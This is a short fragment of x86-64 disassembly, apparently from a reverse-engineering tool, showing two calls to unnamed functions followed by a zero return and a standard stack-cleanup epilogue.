call fcn.1800045e0
call fcn.180004e50
xor eax, eax
add rsp, 0x28
ret